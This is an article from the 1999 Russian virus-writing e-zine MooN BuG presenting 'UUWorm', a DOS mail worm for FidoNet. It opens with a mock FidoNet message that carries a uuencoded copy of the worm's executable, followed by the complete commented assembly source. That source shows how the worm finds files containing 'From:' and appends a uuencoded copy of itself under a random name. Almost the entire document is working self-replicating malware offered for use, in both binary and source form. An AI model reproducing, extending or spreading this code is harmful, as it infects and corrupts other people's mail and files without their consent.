╔════════╤════════════════════════════════════════════════════╤══════════╤═══╗
║Okt 1999│NF представляет электронный журнал MooN BuG issue 11│ Wet Milk │014║
╟────────┴────────────────────────────────────────────────────┴──────────┴───╢
║                       Сетевой червь UUWorm (FidoNet)                       ║
╚════════════════════════════════════════════════════════════════════════════╝

────────────────────────────────────────────────────────────────────────────────
From: Vasia Pupkin
To: ALL
Newsgroups: PVT.VIRII
Subject: Сетевой червяк
────────────────────────────────────────────────────────────────────────────────
Привет, all!

Случилось страшное: ко мне пришло письмо, а в конце его
была приаттачена програмка. Я ее запустил, и с тех пор
начались чудеса - эта програмка оказывается приаттаченной
ко всем письмам, которые я сам посылаю. Ай! Ой! Вот и
сейчас...
---
Vasia Pupkin aka -=Ё Super Puper Ё=-
* Origin: Windows vs Virus: virus never fails

P.S. Вопль Васиной души подслушал и озвучил Wet Milk

begin 400 ZUPLGBWS.EXE
MZ#,!M$ZZ3`(KR<TA<@?H!0"T3^OUPV"X`CVY`@"ZG@#-(8O8M#^Y``&ZH0*+
M\LTA@?D``74UN0`!_*T]1G)T!4[B]^LF@3QO;77O@'P".G7IO@`!Z!H`N`)"
M,\DSTLTAM$"+#GX"NH<"S2&T/LTA8<-@QP9^`AH`OZ$"5^BB`%\+TG0-B\(D
M/P0@JO\&?@+K";!@JO\&?@+K9E:^40*L4+D"`-+H)#_H90!8N00`TN`D,(O8
MK%"Y!`#2Z"0/DPK#Z$P`6+D"`-+@)#R+V*Q0N08`TN@D`Y,*P^@S`%@D/^@M
M`(/J`PO2=`CWP@"`=0+KK;`-JK`*JH,&?@("7NE[_[Z``KD'`/.D@P9^`@=A
MP_\&?@(*P'0&)#\$(*K#L&"JP[]1`BO2@_HM<PJ!_J$"<P2D0NOQPV"_DP*Y
M"`#D0#Q!<OH\6G?VJN+S8<,J+BH```@`Y$`\07+Z/%IW]JKB\V'#*BXJ```(
M`.1`/$%R^CQ:=_:JXO-APRHN*@``"!("#0IE;F0-"@T*8F5G:6X@-#`P(%I5
,4$Q'0E=3+D5810T*
`
end
────────────────────────────────────────────────────────────────────────────────

;=====================================================;
;=                UUWorm by Wet Milk                 =;
;=====================================================;
;= Развелось щас сетевых червей, как тараканов на    =;
;= кухне. Мне завидно, и я тоже решил внести свой    =;
;= вклад, только на большой Internet духу не         =;
;= хватило. А в пределах офлайновой почты,           =;
;= например ФИДО, вещь вполне актуальная. Правда,    =;
;= это только Demo оригинальной идеи, так как:       =;
;=   1) заражает только в текущем каталоге;          =;
;=   2) лечится в текстовом редакторе :)             =;
;= Зато:                                             =;
;=   3) приаттачивает заUUенкоденного себя           =;
;=      к хвосту текстовых файлов с 'From:' внутри;  =;
;=   4) имя приаттаченного файла случайное.          =;
;= Вот если если организовать поиск по винту, то...  =;
;= ухх! Только это уже без меня. :)                  =;
;=====================================================;
;
.286
Cseg    segment
        assume cs:Cseg, ds:Cseg, ss:Cseg
        org     100h
;
Start:

; Генерируем случайное имя
        call    RaName

; Ищем файлы
        mov     ah, 4Eh
        mov     dx, offset Maska
        sub     cx, cx

; Следующий файл
NextF:
        int     21h
        jc      NoMore
        call    Infect
        mov     ah, 4Fh
        jmp     short NextF

; Больше нет
NoMore:
        ret
;
; Ищем потенциальную жертву
;
Infect:

; Открываем файл
        pusha
        mov     ax, 3D02h
        mov     cx, 2
        mov     dx, 80h+1Eh ; offset FileName
        int     21h
        mov     bx, ax

; Читаем начало (не менее 256 байт)
        mov     ah, 3Fh
        mov     cx, 256
        mov     dx, offset Finish
        mov     si, dx
        int     21h

; Не коротковат ли?
        cmp     cx, 256
        jne     NotFr

; Ищем ключевое слово 'From:'
        mov     cx, 256
        cld
NextW:
        lodsw
        cmp     ax, 'rF'
        jz      IsFr
        dec     si
        loop    NextW
        jmp     short NotFr
IsFr:
        cmp     word ptr [si], 'mo'
        jnz     NextW
        cmp     byte ptr [si+2],':'
        jnz     NextW

; Найден файл с 'From:' внутри
YesFr:
        mov     si, offset Start
        call    UUENCode

; Переходим на конец файла
        mov     ax, 4202h
        xor     cx, cx
        xor     dx, dx
        int     21h

; Вписываем закодированного себя
        mov     ah, 40h
        mov     cx, UULen
        mov     dx, offset OutBuf
        int     21h
NotFr:

; Закрываем жертву
        mov     ah, 3Eh
        int     21h
        popa
        ret
;
; Процедура UUENCODE
;
UUENCode:
        pusha
        mov     UULen, Finish-OutBuf
        lea     di, Finish
LoopC:
        push    di
        call    Fill45
        pop     di
        or      dx, dx
        jz      Qwyka

; Печатаем формулу
NoQwy:
        mov     ax, dx
        and     al, 77O
        add     al, ' '
        stosb
        inc     UULen
        jmp     Parse

; Печатаем кавыку
Qwyka:
        mov     al, '`'
        stosb
        inc     UULen
        jmp     DoneAll

; Разбираем Buf45
Parse:
        push    si
        lea     si, Buf45
LoopP:
        lodsb
        push    ax
        mov     cx, 2
        shr     al, cl
        and     al, 77O
        call    Enc
;
        pop     ax
        mov     cx, 4
        shl     al, cl
        and     al, 60O
        mov     bx, ax
        lodsb
        push    ax
        mov     cx, 4
        shr     al, cl
        and     al, 17O
        xchg    ax, bx
        or      al, bl
        call    Enc
;
        pop     ax
        mov     cx, 2
        shl     al, cl
        and     al, 74O
        mov     bx, ax
        lodsb
        push    ax
        mov     cx, 6
        shr     al, cl
        and     al, 3O
        xchg    ax, bx
        or      al, bl
        call    Enc
;
        pop     ax
        and     al, 77O
        call    Enc
;
        sub     dx, 3
        or      dx, dx
        jz      DoneP
        test    dx, 1000000000000000b
        jnz     DoneP
        jmp     LoopP
DoneP:
        mov     al, 13
        stosb
        mov     al, 10
        stosb
        add     UULen, 2
        pop     si
        jmp     LoopC
DoneAll:
        lea     si, FinMes
        mov     cx, 7
        rep     movsb
        add     UULen, 7
        popa
        ret
;
; Упаковка байта
;
Enc:
        inc     UULen
        or      al, al
        jz      NoPack
Pack:
        and     al, 77O
        add     al, ' '
        stosb
        ret
NoPack:
        mov     al, '`'
        stosb
        ret
;
; Заполнение временного буфера
;
Fill45:
        lea     di, Buf45
        sub     dx, dx
Loop45:
        cmp     dx, 45
        jae     Done45
        cmp     si, offset Finish ; Признак завершения
        jae     Done45
        movsb
        inc     dx
        jmp     Loop45
Done45:
        ret
;
; Генерация случайного имени файла
;
RaName:
        pusha
        mov     di, offset FileNa
        mov     cx, 8
NextS:
        in      al, 40h
        cmp     al, 'A'
        jb      NextS
        cmp     al, 'Z'
        ja      NextS
        stosb
        loop    NextS
        popa
        ret
;-----------------------------------------------------------------------
CopyRT  db      [UUWORM] (c) Wet Milk, 0
Maska   db      '*.*',0
Head45  db      ?
Buf45   db      45 dup (?)
UULen   dw      Finish-Start
FinMes  db      13,10,'end',13,10
OutBuf  db      13,10,'begin 400 '
FileNa  db      'XXXXXXXX.EXE',13,10
Finish:
;
Cseg    ends
        End     Start